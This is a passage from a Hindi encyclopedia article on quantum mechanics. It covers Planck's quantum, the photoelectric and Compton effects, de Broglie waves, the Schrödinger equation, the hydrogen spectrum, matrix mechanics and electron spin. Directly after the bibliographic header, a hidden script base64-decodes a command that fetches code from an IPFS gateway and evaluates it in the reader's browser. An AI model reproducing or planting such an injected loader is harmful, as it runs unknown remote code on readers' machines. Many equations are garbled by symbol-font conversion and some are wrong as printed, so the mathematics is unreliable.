क्वांटम यांत्रिकी

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क्वांटम यांत्रिकी
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 247
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक निरंकार सिहं

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> क्वांटम यांत्रिकी क्वांटम लैटिन शब्द है। इसका अर्थ विविक्त भाग अथवा कण है। क्वांटम यांत्रिकी के अंतर्गत विश्व के गुणों में विद्यमान विविक्ति का अध्ययन किया जाता है। दूसरे शब्दों में इस विज्ञान के अंतर्गत पदार्थ के अति सूक्ष्म कणों (परमाणु, न्यूक्लियस तथा इलेक्ट्रान प्रोटॉन आदि सभी मौलिक कणों) के आचरण और उनके उपयोग के संबंध में अध्ययन किया जाता है। इसकी नींव सन्‌ 1900 में मैक्स प्लांक (Max Planck) ने डाली। उस समय लोगों का विचार था कि भौतिकी में जितने नियमों का आविष्कार होना था, हो चुका, और अब इन नियमों को सब जगह लागू भर करना है। किंतु कुछ समस्याएँ ऐसी थी जो तबतक सुलझ नहीं पाई थी। उनमें से एक थी किसी गरम काले पिंड (body) के सतत वर्णक्रम (Continuoms spectrun) के भिन्न भिन्न भागों की ऊर्जा के वितरण (distribution) की व्याख्या करना। यदि हम इस वर्णक्रम के भिन्न भिन्न भागों की आवृत्ति (frequency) न्यू (v) और उनकी तीव्रता (Intensity) के बीच के संबंध देखें तो परीक्षणों का फल है कि बहुत थोड़ी आवृत्ति के लिये तीव्रता शून्य होती हैं, फिर बढ़ती जाती है। ताप के अनुसार एक आवृत्ति पर महत्तम हो जाती है, तथा और अधिक आवृत्तियों पर फिर कम हो जाती है (चित्र 1)। यह अंतिम बात चिरसंमत सिद्धांत (classical theory) से बिल्कुल समझ में नहीं आती।


इसे समझने के लिये प्लांक ने सुझाव रखा कि यदि हम मान लें कि प्रकाश उत्सर्जन (emission) करनेवाले द्रव्यकणों की गति सतत (continuos) नहीं किंतु केवल ऐसी ही हो सकती है जिससें उनकी ऊर्जा छुट्टक (discrete) रहे, तो हम काले पिंड के वर्णक्रम की व्याख्या कर सकते हैं। इस आधार पर प्लांक ने विकिरण (रेडिएशन radiation) तीव्रता के लिये जो सूत्र निकाला वह परीक्षणों के बिल्कुल अनुकूल है।

प्लांक का यह प्रस्ताव भौतिकी के लिये बड़ा क्रांतिकारी था। वह तत्कालीन यांत्रिकी सिद्धांत, अथवा विद्युच्चुंबकीय सिद्धांत, के भी अनुकूल न था। पुरातन यांत्रिकी में ऐसा कोई नियम न था जो द्रव्यकणों की गति सतत होने से रोकता। यदि द्रव्यकणों की गति की ऊर्जा सतत न होकर छुट्टक है, तो उनसे निकलनेवाले विकिरण की ऊर्जा भी छुट्टक होगी। दूसरे शब्दों में इसका अर्थ था कि विकिरण सतत रूप से नहीं होता बल्कि उसकी पोटलियाँ होती हैं। इन पोटलियों को हम विकिरण के कण कह सकते हैं। इस बात को विद्युच्चुंबकीय सिद्धांत के आधार पर समझना कठिन था, क्योंकि मैक्सबेल (Maxwell) के समीकरणों के अनुसार विकिरण कणों में नही वरन्‌ तंरगों में चलता हैं।

प्रकाश-विद्युत-प्रभाव (Photo-electric effect)------पाँच वर्ष पश्चात्‌ आइन्स्टाइन ने प्रकाशविद्युत्‌ पर बड़ा महत्वपूर्ण लेख लिखा। यह देखा गया था कि कुछ धातुओं की सतह पर जब लघुतरंगी प्रकाश पड़ता है तो वे सतहें धनात्मक आवेशयुक्त हो जाती हैं और उनमें से कुछ ऋणात्मग (Negative) इलेक्ट्रान निकलने लगते हैं। इन इलेक्ट्रानों की ऊर्जा आपाती (incident) विकिरण की आवृत्ति पर ही निर्भर करती है, उसकी तीव्रता पर नहीं। इलेक्ट्रानों की संख्या विकिरण की तीव्रता के अनुपात में बढ़ती जाती है। ये प्रयोगत्मक परिणाम प्रकाश के तरंग-सिद्धांत के विरुद्ध है। तरंग की ऊर्जा उसकी तीव्रता पर निर्भर होती हैं, इसलिए तरंगसिद्धांत के अनुसार विकिरण यदि अधिक तीव्र हो तो उत्सर्जित इलेक्ट्रानों की ऊर्जा भी अधिक होनी चाहिए। इस प्रतिकूलता को दूर करने के लिए आइन्स्टाइन ने सुझाव दिया कि प्रकाश कण की तरह आचरण करता है और किसी एक प्रकाशकण की ऊर्जा E, उस प्रकाश की आवृत्ति, v, पर


E=h v (1)

संबंध के अनुसार निर्भर रहती है। यहाँ h एक अचर (constant) है, जिसके घात (dimenstions) कोणिक संवेग (angular momentum) के हैं। इसका संख्यामान (6.624 2+ 0.002 4) x 10-27 अर्ग सेकंड (erg sec.) है। यह वही अचर है जिसका पहिले प्लांक ने समावेश किया था। इसे प्लांक का अचर कहते हैं।

कांपटन प्रभाव (Compton effect)----प्रकाश के कणसिद्धांत का प्रबल समर्थन सन्‌ 1922 में कांपटन के प्रभाव से हुआ। कांपटन ने पैरेफिन (Paraffin) का एक टुकड़ा एक्सरेओं के सामने रखा और विभिन्न दिशाओं में उसने प्रकीर्णित (scattered) एक्सरेओं की आवृत्ति को नापा (देखें चित्र 2)। उसने देखा कि आपाती प्रकाश के साथ 900 सें कम कोण बनानेवाली दिशाओं में प्रकीर्ण विकिरण की आवृतित आपाती विकिरण की आवृत्ति से कम होती है। इसी व्याख्या तरंगसिद्धांत से नहीं की जा सकती। किंतु यदि हम यह मान लें कि विकिरण कण की तरह आचरण करता है तो यह बात सरलता से समझ में आ सकती है। यदि ऐसा हो तो पैरेफ़िन के इलेक्ट्रानों से विकिरण की टक्कर ऐसी ही है जैसी एक स्थित गेंद से दूसरी गेंद की। जिस प्रकार इस स्थिति में दूसरी गेंद की ऊर्जा कुछ कम हो जाएगी और पहली गेंद में पहुँच जाएगी, उसी प्रकार विकिरण की ऊर्जा (जो यहाँ दूसरी गेंद के समान है) प्रकीर्णित होने के बाद कुछ घट जाती है और शेष ऊर्जा पैरेफ़िन के इकेक्ट्रानों को (जो पहली गेंद के समान हैं) गति देने में लग जाती है। अतएव समीरकण (1) के अनुसार प्रकीर्णित विकिरण की आवृत्ति आपाती विकिरण की आवृत्ति से कम होगी।

द ब्रॉगली की परिकल्पना (de Broglies,s hy pothesis)-----सन्‌ 1925 में ब्रॉगली (de broglies) ने सुझाव रखा कि जिस प्रकार प्रकाश की तरंगें कण की तरह आचरण करती हैं उसी प्रकार कण भी तरंगों की तरह आचरण करता है। यदि किसी कण की ऊर्जा E है और उसका संवेग (मोमेंटम momentum), x,y,z, दिशाओं में px’ py’ pz’, है तो द ब्रॉगली के सिद्धांत के अनुसार उस कण की संगी तरंगों की आवृत्ति E/h होगी (समी. (1) से तुलना कीजिए) और तरंगदैर्ध्य (weve length) l तीनों दिशाओं में h/px’, h/py’, h/pz’ होगा :

श्

u = E/h (2)

lx = h/px’ ly= h/py’l z= h/pz (3)

यदि हम तरंदैर्ध्य की जगह उसके व्युत्पन्न (wave number) K का उपयोग करें,

Kx=1/lx’, Ky=1/ly, Kz=1/lz (4)

श्

तो (3) को हम इस प्रकार लिख सकते हैं :

Kx=px/h, Ky= py/h, Kz=pz/h, (5)

जिस प्रकार u से ज्ञात होता है कि एक सेकंड में कितने कंपन (vibrations) होते हैं उसी प्रकार

K=V K2x + K2y+K2z

से पता चलता है कि एक सेंटीमीटर में कितने तरंगदैर्ध्य हैं।

(lx’ ly’ lz) एकदिष्ट (vector) नहीं है, पर (Kx’, Ky’, Kz) है। इसलिए l का परिमाण (magnitude) Ö l2x + l2y + l25 नहीं प्रत्युत

1/Ö l½x+ l½y +l½z

काल (time) और आकाश (space) की यह अनुरूपता (correspondence) आइन्स्टाइन के आपेक्षिकता (relativity) सिद्धांत से संगत है।

द ब्रॉगली की परिकल्पना का प्रयोगात्मक सत्यापन 1927 ई. में डेविसन (Davisson) और गेर्मर (Germer) के परीक्षणों से हुआ। उन्होंने देखा कि यदि इलेक्ट्रानों को धातुओं से परावर्तित (reflect) किया जाए तो उनसे उसी प्रकार का विवर्तन प्रतिरूप (diffiraction pattern) बनता है जैसा एक्सरे से। क्योंकि विवर्तन ही तरंगों का विशेष लक्षण है, अत: इन प्रयोगों से स्पष्ट है कि इलेक्ट्रानों के साथ तरंगों का संमेलन करना अनिवार्य है।

आपेक्षिकतारहित (nonrelativistic) यांत्रिकी में किसी कण की ऊर्जा और उसके संवेग में यह संबंध होता है :

E = p2/2m (6)

यहाँ m उस कण की संहति (mass) है। इसलिए उसके सभी तरंग की आवृत्ति और व्युत्क्रम में (2) और (5) के अनुसार यह संबंध होगा :

u = hk2 / 2m (7)

श्रेडिंगर तरंगें (Schroedinger waves)----द ब्रॉगली के सुझाव को श्रेंडिगर ने सन्‌ 1926 में गणितीय रूप दिया। प्रकाशतरंगों के निरूपण के लिये मैक्सवेल के अवकल समीकरणों (differential equations) से लोग पहले ही परिचित थे। ध्वनि (sound) तरंगों के निरूपण में भी अवकल समीकरण प्रयुक्त होते हैं। इनका रूप

(v/12 ¶2/¶t2 -Ñ2) y=0 (8)

की तरह होता है। प्रकाश के लिए y अदिश या सदिश विभव (scalar or vector potential) हो सकता है; ध्वनि के लिए वह अपने माध्यम (medium) का विस्थापन (displacement) हो सकता है, इत्यादि। v तरंग का वेग है और Ñ 2 का अर्थ है :

Ñ2y= ¶2y/¶x2 + ¶2y/¶y2 + ¶2y /¶z2 (9a)

आयताकारनिर्देशांक /(cartesian coordinates)

श्

=1/r ¶2/¶r2 (ry) + 1/r2sinq ¶/¶q (sin ¶y/¶q) +1/r2 sin2q ¶2y/¶f2 }

यदि हम समीकरण (8) में रखें y~ei2p (Kr- ut) तो (10)

रखें तो

u2=v2K2 (11)

आ जाएगा। यह संबंध आपेक्षिकतानुकूल (relativistic) यांत्रिकी से मेल खा सकता है। (समी. (50) और (51) से तुलना करें), किंतु आपेक्षिकतारहित (nonrelativistic) यांत्रिकी के संबंध (7) से मेल नहीं खाता। (10) से यह प्रत्यक्ष है कि संबंध (7) तभी आ सकता है कि जब (8) की जगह हम

i ¶y/et + h/4pm Ñ2y= 0 (12)

लें। क्वांटम यांत्रिकी में h, v और K के स्थान पर प्राय: h, w और K का प्रयोग सरल रहता है, जो इस प्रकार संबंधित हैं : h=2ph, w= 2pv, K=2pK (13)

अब से हम h,w और K का ही प्रयोग करेंगे। समीकरण (12) का हम यों भी लिख सकते हैं :

i h¶y /¶t = - h2/2m Ñ2y (14)

लिखनेे की यह विधि पहली विधि (12) से अधिक गंभीर है देखें समी. (45) और (46)।

समीकरण (6) तभी सत्य है जब कण मुक्त (free) हो। यदि उस पर कोई बाह्य दल (force) काम कर रहा है तो उसके कारण उत्पन्न स्थितिज ऊर्जा (potential energy), V, की भी हमें साथ में गणना करनी पड़ेगी। तब संपूर्ण ऊर्जा E गतिज (kinetic) ऊर्जा और स्थितिज ऊर्जा का योग होगी :

E= p2/2m + v (15)

(14) में हम गतिज ऊर्जा को गिन चुके हैं; V को भी सम्मिलित करने पर वह समीकरण निम्नलिखित हो जाएगा :

ih ¶y/¶t = (-h2 2m Ñ2 + v) y (16)

इस विख्यात समीकरण का आविष्कार श्रेंडिगर ने किया था। ऊपर दिए हुए तर्क इस समीकरण का ग्राह्य बनाते हैं। ये तर्क इसकी उपपत्ति (proof) अथवा व्युत्पत्ति (derivation) नहीं है। वास्तव में इसकी उपपत्ति तो इससे निकाले हुए परिणाम हैं, जो परीक्षणों से मनोहर मेल खाते हैं।

बहुत सी घटनाएँ काल पर आश्रित नहीं होतीं, जैसे परमाणुओं (atoms) के ऊर्जासमतल (energy levels)। उनके लिए हम y की कालपरतंत्रता को y (t,X) के स्थान पर y (X) e i w t रखकर दूर कर सकते हैं। तब (16) हो जाएगा

(- h2/2m Ñ2 + V)y =Ey (17)

श्

जहाँ E= h w ((2) और (13) देखें)

यह सूक्ष्मांतरिक समीरकण अप्रगामी अवस्था (stationary state) का श्रेंडिगर समीकरण कहलाता है।

y का भौतिक अर्थ-समीकरण (16) से स्पष्ट है कि साधारणतया y संकुल होगा। y संकुल संबद्ध y यह समीकरण मानेगा :

-i h ¶y/¶t = (-h2/2m Ñ2 + V) y (18)

यदि हम (16) को y से और (18) को y से गुणा करें और दूसरे समीकरण में से पहले को घटा दें तो हमें प्राप्त होगा

¶p/¶t div j=0 (19)

जहाँ p=y y (20a)

और j= ih/2m (y grad y-y grady) (20b)

(19) जैसे समीकरणों से हम परिचित हैं। (19) को हम निरंतरता (continuity) समीकरण कह सकते हैं। ऐसे समीकरण द्रवगतिकी (hydrodynamies) में भी आते हैं। p ऐसा है जैसे किसी वस्तु का घनत्व हो और j ऐसा है जैसे उसकी धारा का घनत्व हो। यदि हम काफी बड़ा एक आयतन, T, लें जिसमें हमारा कण सीमित रहता हो तो हम यह मान सकते हैं कि j का अभिलंब घटक (normal component)T की सतह (surface) पर शून्य है; तब (19) से परिणाम निकलता है कि

d/dt pd T=0 (21)

यह pd T के लिए अविनाशिता (conservation) समीकरण है, T

क्योंकि इस राशि का मान (21) के अनुसार सदा एक ही रहता है। कण के आयतन T में कहीं न कहीं होने की प्रायिकता एक ऐसी भौतिक राशि है जिससे हम ठीक इसी प्रकार का गुणधर्म (property) रखने की आशा करते हैं। अतएव pd T को हम अपने कण के d T आयतन में होने की प्रायिकता का समानुपाती मान सकते हैं। साधारणतया संपूर्ण आयतन में कण के कहीं न कहीं होने की प्रायिकता का हम इकाई रख सकते हैं :

TpdT =1

या

T y y dT =1 (22)

इस दशा में हम कह सकते हैं कि y प्रकृत (normalised) है। प्रकृत होने पर भी y में थोड़ी सी स्वच्छंदता रह जाती है; हम y को तब भी eia से गुणा कर सकते हैै जहाँ a कोई भी वास्तविक संख्या है। कला गुणनखंड (phase factor) की यह स्वच्छंदता क्वांटम यांत्रिकी में महत्वपूर्ण है। यहाँ इस कठिनाई की निर्देश असंगत न होगा कि कभी कभी (22) का बायाँ पक्ष अनंत (infinit) हो जाता है और y का प्रकृतिकरण असंभव हो जाता है। तब हम आपेक्षिक (relative) प्रायिकता ही ज्ञात कर सकते है। (अनिश्चितता सिद्धांत भी देखें)।

हाइड्रोजन का वर्णक्रम-यदि v के लिए हम उद्गम (origin) स्थित प्रोटोन (proton) और (x,y,z) बिंदु पर स्थित इलेक्ट्रान के बीच कूलंब (Coulomb) ऊर्जा का प्रयोग करें,

V=-e2/r, r= x2+y2+z2

-e=इलेक्ट्रान का आवेश

तो समीकरण (17) को हम हाइड्रोजन परमाणु की समस्या के लिए काम में ला सकते हैं। ....के ऊपर हमें ये सीमा प्रतिबंध (boundary conditions) लगाने पडेंगे:

जब r®¥, तब y® 0; (23a)

जब r®0, तब y®rn, जहाँ n>-1; (23b)

इनमें से पहले प्रतिबंध के अर्थ ये हैं कि इलेक्ट्रान को प्रोटोन से अधिक दूर पाने की प्रायिकता बहुत कम होती जानी चाहिए। दूसरे प्रतिबंध की आवश्यकता का वर्णन थोड़ा पेंचीदा है; वह इससे संबद्ध है कि यदि हम y को 1/rs, s>1, रखें तो उद्गम के ऊपर वह समीरकण (17) का उल्लंघन करेगा। तीसरा प्रतिबंध, जो y की प्रायिकता से संबंध रखनेवाली पर निर्भर है, थोड़ा शिथिल किया जा सकता है : यह मानने की आवश्यकता नहीं कि y एकमान हो, केवल y y का एकमान होना पर्याप्त है। परंतु हाइड्रोजन परमाणु के लिये। फल तभी ठीक आते हैं जब इस शिथिकल प्रतिबंध का नहीं बल्कि (23c) का ही उपयोग किया जाए। पर (23c) को शिथिल कर सकने की यह संभावना बहुत महत्वपूर्ण है और आधे आवर्तन (spin) के कणों के विवरण के लिये आवश्यक है। प्रतिबंध (23a से 23c तक) तभी पूरे हो सकते हैं जब E कुछ विशेष छुट्टक मान (values) En’ ले जहाँ

En=-R/n2

R= me4/h2

n=1,2,3....

(24) द्वारा दिए गए ऊर्जासमतल प्रयोगों के अनुकूल है। इन्हें सर्वप्रथम नील्स बोर (Niels Bohr) ने 1913 ई. में बहुत सहज प्रतिरूप (modle) के आधार पर निकाला था। परंतु इस प्रतिरूप में बहुत सी बेमेल बातें थी जो अस्पष्ट थी। क्वांटमवाद ने उनको बिल्कुल नया आकार दे दिया, जिसमें बेमेल बातों को कोई जगह न रही।

अन्य उपयोग----श्रेंडिगर समीकरण (16) का बहुत जगह, न केवल परमाणु और अणु भौतिकी में, अपितु नाभिकीय (nuclear) मणिभ अवस्था तथा धातु सिद्धांतों इत्यादि के विस्तार में भी उपयोग हुआ है। इस अनेकानेक उपयोगों से अब श्रेंडिगर समीकरण (16) की सत्यता में संदेह नहीं रहा है। क्योंकि (16) का अनुरूप (corresponding) समीकरण (15) तभी सत्य है जब कण का वेग प्रकाश के वेग से बहुत कम हो, अत: (16) भी आपेक्षिकतारहित प्रदेश (region) में ही सत्य है। इस प्रदेश में (16) न केवल हाइड्रोजन परमाणु जैसी अप्रगामी अवस्था के लिये लागू है, बल्कि उससे प्राय: अप्रगामी (quasistationary) तथा प्रकीर्णन (scatrering) घटनाओं का भी वर्णन हो सकता है। श्रेंडिगर समीकरण के उपयोग पाठ्य पुस्तकों में दिए हुए है, जहाँ उनका विस्तृत विवरण मिल सकता है (Bohm 1951)।

प्रबंधिनी व्यवस्थापन और पुरातनवाद से अनुरूपता (Matrix formulation and correspondence with classical theory) -ऊपर हमने क्वांटमवाद को श्रेंडिगर के ढंग से व्यवस्थापित किया है, परंतु वास्तव में उससे पहले हाइज़ेनबर्ग (Heisenberg) ने सन्‌ 1925 में उसे एक और ही रीति से प्रस्तुत किया था। इस विधि को बॉर्न (Born) हाइज़ेनबर्ग, यॉर्दान (Jordan) तथा डिरैक (Dirac) ने और आगे उन्नत किया (Born Heisenberg and Jordan 1925; Born and Jordan 1925; Dirac 1925, 1926 1958) । बाद में डिरैक और यॉर्दान ने यह भी प्रमाणित किया कि चाहे हम हाइज़ेनबर्ग की रीति अपनाएँ चाहे श्रेंडिगर की, प्रश्नों का उत्तर सदा एक ही आएगा (Dirac 1925, 1926; Jordan 1926; Jordan and London 1926) । पर हाइज़ेनबर्ग की विधि अधिक गंभीर और व्यापक है और श्रेंडिगर समीकरण (16) उसकी केवल एक विशेष स्थिति है। श्रेंडिगर तथा हाईज़ेनबर्ग के व्यवस्थापनों की तुल्यता (equivalence) डिरैक के रूपांतर सिद्धांत (transformation theory) पर निर्धारित है। यह रूपांतर सिद्धांत आधुनिक क्वांटमवाद का मूलाधार है। इसकी चर्चा करने से पूर्व क्वांटम और पुरातन यांत्रिकी की अनुरूपता का अनुसंधान करना आवश्यक है।

गतिकी (dynamics) के सिद्धांतो के अनुसार यदि हमें किसी जगत्‌ (system) का लैंग्रांजियन (Lagrangian) ज्ञात हो तो उस जगह के संबंध में हम सब कुछ जान सकते हैं। यह लैंग्रांजियन साधारणतया उस जगत के व्यापक निर्देशांक (generalised coordinates)q1, q2,....qN और व्यापक वेग (generalised velocities)q1,q2 qN पर निर्भर करता है। (बिंदु (dot) काल सूक्ष्मांतरिककरण निर्दिष्ट करता है) :

L=L (q1, q2,.....,qN;q, q2.....,qN) (25)

लैग्रांजियन की सहायता से हम अपने जगत्‌ का व्यापक संवेग (generalized momenta) pr परिभाषित कर सकते हैं।

pr=¶L/¶qr, r=1,2......,N (26)

और हैमिल्टोनियन फलन (Hamiltonian function), H, भी समाविष्ट कर सकते हैं :

H=N prqr-L/r=1 (27)

और हम H में से (26) की सहायता से वेग का निरसन (elimination) कर दें तो वह संवेग, pr और निर्देशांक, qr का फलन हो जाएगा:

H=H (q, q2,...., qN ; p1, p2,pN) (28)

और तब जगत्‌ के गतिसमीकरण ये हो जायँगे:

qr=¶H,/¶pr (29a)

pr=-¶H/¶qr, r=1,2,...,...,N (29b)

लैग्रांजियन में परिणमन (variation) करते समय हम q1,...,qN को ही स्वतंत्र चर लेते है; फलत: q,..., qN के परिणमन से वेगों परिणमन के dq1,.... dqN, स्वयं निर्धारित हो जाते हैं। हैमिल्टोनियन व्यवस्थापन में q1,..qN, और p,...pN दोनों को स्वतंत्र माना जाता है, अत: dq,...dqN और dp1,....., dpN में कोई संबंध नहीं होता। समीकरण (29a) को प्राप्त करने में केवल संवेग की परिभाषा (26) और हैमिल्टोनियन परिभाषा (27) का प्रयोग होता है; अत: (29a) परिभाषा (26) के तुल्य होता। पर हैमिलटोनियनवाद में (29a), को परिभाषा नहीं बल्कि गतिसमीकरण माना जाता है, उसी प्रकार जैसे (29b), जो लैग्रांजियन गतिसमीकरण

pr = L/qr (30)

श्

के तुल्य है, गति समीकरण है। क्वांटमवाद में निर्देशांक और संवेग के साथ साथ नापने में अनिश्चितता उत्पन्न करने का मूल कारण हैमिल्टन सिद्धांत में qr और pr को एक समान बरतने की उपर्युक्त प्रणाली है।

अधिकतर L में काल प्रकट रूप से संबद्ध नहीं होता; तब हम H को जगत्‌ की संपूर्ण ऊर्जा E कह सकते हैं:

H=E (31)

q1,..,qN और p1,..,pN के स्थान पर हम और भी निर्देशांक, Q1,..,QN और संवेग, P1, P2, PN प्रयुक्त कर सकते हैं,

Qr = Qr (q1,....,qN; P1......PN)

Pr = Pr (q1,....,qN; P1,.....,PN)

तब, साधारणतया Qr और Pr के गतिसमीकरणों का रूप (29a,b) से भिन्न हो जाएगा। किंतु यदि तब भी गतिसमीकरणों का रूप वही रहे, अर्थात्‌ पुन:

Qr = ¶ H/¶ pr

Pr = - ¶ h/¶ Qr

सत्य हो, तो ऐसे रूपांतरों (transformations) को हम नियमानुसारी (canonical) रूपांतरों कहते हैं। Qr और Pr अथवा qr और pr नियमानुसार संबद्ध (canonically conjugate) चर कहलाते हैं। ऐसे रूपांतरों की शर्ते हम पायसाँ कोष्ठकों (Poisson brackets) के आधार पर व्यक्त कर सकते हैं। यदि f और g निर्देशांक q1.....qN और संवेग P1,...,PN के कोई फलन जों तो उनके पायसाँ कोष्ठक, (f,g), को इस प्रकार परिभाषा की जा सकती है:

(f,g) = N (¶f/¶qr ¶g/¶pr ¶g/¶pr ¶f/¶qr) (33)

r = 1

और तब नियमानुसारी रूपांतरों की शर्ते हैं:

(Qr’ Qs) = 0, (34a)

(Pr’ Ps) = 0, (24b)

(Qr’ Ps) = ¶rs, (34c)

¶rs = 0 यदि r=s/ 1 यदि r = s (35)

यदि हम (34a-c) को मानकर चलें तो f और g को पायसाँ कोष्ठक इस बात पर निर्भर नहीं करता कि (33) में हम q1,..., qN’ P1’...PN के प्रति अवकलन (differentiation) करें या Q1’....Qn’ P1’ PN के प्रति।

हैमिल्टोनियन सिद्धांत क्वांटमवाद का अभिन्न आधार है। हम क्वांटम यांत्रिकी में फिर वही हैमिल्टोनियन लेते हैं जो (28) में है; पर q,...,qN’ P1,..,PN को साधारण संख्या समझने की अपेक्षा अब हम उन्हें कारक (operators) समझते हैं। साधारणतया कारकों का परस्पर दिक्परिवर्तन (commutation) नहीं होता। उदाहरण के लिए यदि एक कारक का अर्थ किसी फलन f को x से गुणा करने का हो और दूसरे का x के प्रति अवकलन का, तो यदि इसी क्रम में ये दोनो क्रियाएँ की जाए तो इनका फल होगा

d/dx (xf) = f+xdf/dx ; (36)

दूसरा कारक पहला कारक

किंतु यदि हम पहले अवकलन करें और फिर x से गुणा करें तो फल होगा:

x (d/ dx f) = x df/dx (37)

दूसरा कारक पहला कारक

स्पष्ट है कि (36)और (37) बराबर नहीं हैं; वास्तव में

(x d/dx-d/dx x) f = -f (38)

यदि A और B दो कारकों के दिक्परिवर्तक (commutator) को हम गुरू कोष्ठकों से निर्दिष्ट करें

[A,B] = AB-AB (39)

तो (38) को हम इस प्रकार लिख सकते है:

[x,d/dx] = x d/dx-d/dx= -1 (40)

क्योंकि क्वांटमवाद में qr और pr कारक हैं, अत: वे दिक्परिवर्तित नहीं होते। इसलिये यह समस्याप्रद रहता है कि पुरातनवाद से क्वांटमवाद में जाते समय कौन से गुणनखंड (factors) पहले और कौन से बाद में लिखे जायँ। सौभग्यवश सामान्य उपयोगों में यह शंका अधिक कठिनाई नहीं उत्पन्न करती।

यदि (34a-c) के धनु: कोष्ठकों को हम (39) के गुरू कोष्ठकों के किसी गुणज (multiple) से बदल दें, तो क्वांटमवाद में इन पायसाँ कोष्ठक संबंधों को जैसे का तैसा ले सकते हैं। इस अचर गुणनखंड को

परिमाणों से अनुकूलता लाने के लिए 1/ih रखना आवश्यक है:

(A,B) ®1/ih [A,B] (41)

यह प्रतिस्थापन न्यायसंगत है क्योंकि पायसाँ कोष्ठकों के सभी बीज गण्तीिय (algebraic) संबंध,

[f,g] = -[g,f]

[f,c] =0 (c=)

[f1+f2,g] = [f1’g] + [f2,g]

[f, g1+ g2] =[f, g1] + [f, g2]

[f1 f2,g]=[ f1,g] f2+f1[f2’g]

[f,g1 g2]=[f, g1] g2+g1[f, g2]

[f,[g,h] ]+[g,[h,f]]+[h,[f,g]]=0


श्

दिक्परिवर्तकों के लिए भी सत्य हैं। अब (34a-c) के स्थान पर लिख सकते हैं

[Qr’ Qs] =0 (42a)

[Pr, Ps] = 0 (42b)

[Qr, Ps] = 0 (42c)

r,s=1,...,N.

यदि (42c) की हम (40) से तुलना करें तो स्पष्ट है कि निम्नलिखत प्रतिस्थापन संभव है:

Ps = - ih¶/¶Qs (43)

S=1,...,N

यहाँ हम Q1...QN को साधारण संख्या लेते हैं, किंतु P1...PN को अवकलन कारक। प्रत्यक्ष है कि यह प्रतिस्थापन (42a-c) में प्रयुक्त कारकों की एक विशेष स्थिति (special case) है।

क्वांटम यांत्रिकी से किसकी समस्या को हल करने की विधि का अब हम इस प्रकार वर्णन कर सकते हैं: हमें ऐसी प्रबंधनियाँ Q1...QN तथा P1...PN मालूम करनी हैं जो एक तो (42a-c) संबंधों को मानें और दूसरे H को विकर्ण (diagonal) बना दें। यदि हम ऐसा करने में सफल हो जायँ तो H के विकर्ण अवयव (elements) हमें उस जगत्‌ के भिन्न भिन्न ऊर्जासमतल दे देंगे। Qr और Pr के अवयवों की सहायता से उस जगत्‌ के विषय में हम प्राय: संक्रमण (transition) प्रायिकताएँ जैसी और भी सूचनाएँ ज्ञात कर सकते हैं।

इस संबंध में कुछ बातें निर्देश योग्य हैं। उपर्येुक्त पुरातनवाद से क्वांटमवाद प्राप्त करने की विधि बहुत व्यापक लगती है, परंतु वास्तव में वह तभी सफल होती है जब Q1...QN के लिए आयताकार निर्देशांक उपयोग किए जाए। सब A और B फलनों के लिए अनुरूपता (41) भी सत्य नहीं है। पुन: Qr...Pr गतिकी चरों के लिए हमें न केवल रेखात्मक (linear) किंतु हर्मिटीय (Hermiteay) कारक व्यवहार करने चाहिए, जिससे उनके विशेष मान (eigenvalues) वास्तविक आएँ।

कालपरतंत्र श्रेडिंगर समीकरण निकालने के लिये इसपर ध्यान रखना चाहिए कि tऔर -H आपस में नियमानुसार संबद्ध चर हैं। अत: उनका दिक्परिवर्तक भी (42c)की तरह का होना चाहिए :

[t, -H] = ih

इससे स्पष्ट है कि हम (43) के सदृश H को ih ¶/¶t से प्रति स्थापित कर सकते हैं:

H= ih¶/¶t (44)

ih ¶y/¶t= Hy, (45)

जहाँ y ,t तथा x का केई फलन है और दाहिनी ओर H कारक q और p का फलन है। यदि हम

H= p2/2m +V (46)

लिखें और Pr को –ih¶/¶xr से प्रतिस्थाजित कर दें ((43)देखें) तो समीकरण (45)और (46) से श्रेडिंगर समीकरण आ जाएगा। पर (45) में (46) से भिन्न अथवा जटिल हैमिल्टोनियम पदसंहति (expression) लेना भी संभव है जो समीकरण (16) के हमारे पिछले व्यवस्थापन से विदित नहीं था:

जिस प्रकार पुरातन यांत्रिकी में नियमानुसारी रूपांतर संभव हैं, उसी प्रकार क्वांटम यांत्रिकी में भी हम ऐकिक (द्वदत्द्यaद्धन्र्) रूपांतर कर सकते हैं, यदि छ कोई ऐकिक प्रबंधनी हो, अर्थात्‌ छ। =U-1

जहाँ * हर्मिटीय संबद्ध प्रबंधनी (Hermitean conjugate matrix) सूचित करता है, तो q,p,H इत्यादि गतिकी चरों के स्थान पर हम q’=Uq U-1, p’=Up U-1, H’ = UHU-1 (48) इत्यादि का भी उपयोग कर सकते हैं, बशर्ते y की जगह हम y बरतें, जहाँ

y= U y (49)

ऐकिक रूपांतरों की इस संभावना का क्वांटमवाद में अत्यंत महत्व है, किंतु यहाँ हम इसका अधिक वर्णन नहीं कर सकते (देंखें Dirac 1958 von Neumann, 1955)

इलेक्ट्रान का भ्रमि (Spin) तथा निषेध सिद्धांत-----1925 में ऊहलेनबेक (Uhlenbeck) और गौदश्मित (Goudsmit) ने हाइड्रोजन परमाणु की सूक्ष्म बनावट (fine structure) की व्याख्या करने के लिये सुझाव रखा कि इलेक्ट्रान भ्रमि भी करता है इस संभावना को हाइजेनवर्ग और यॉदिन (1926 ई.) तथा पाउली (Pauli, 1927 ई. ) ने गणित रूप दिया और डिरैक ने सन्‌ 1928 में एक मनोहर सिद्धांत रचा जो इलेक्ट्रान में वर्णित है (सन्‌ 1928)। इलेक्ट्रान की भ्रमि का मान ½ h होता है [ (23a-c) के बाद की व्याख्या देखें ] और क्वांटीकरण (quantisation) करने पर उसकी दिशा या ते किसी एक ओर या ठीक उसके दूसरी ओर ही हो सकती है। इसलिए, यदि हम चाहें, तो इलेक्ट्रान को कणों के योग के समान भी मान सकते हैं। यह बात पाउली के निषेध सिद्धांत 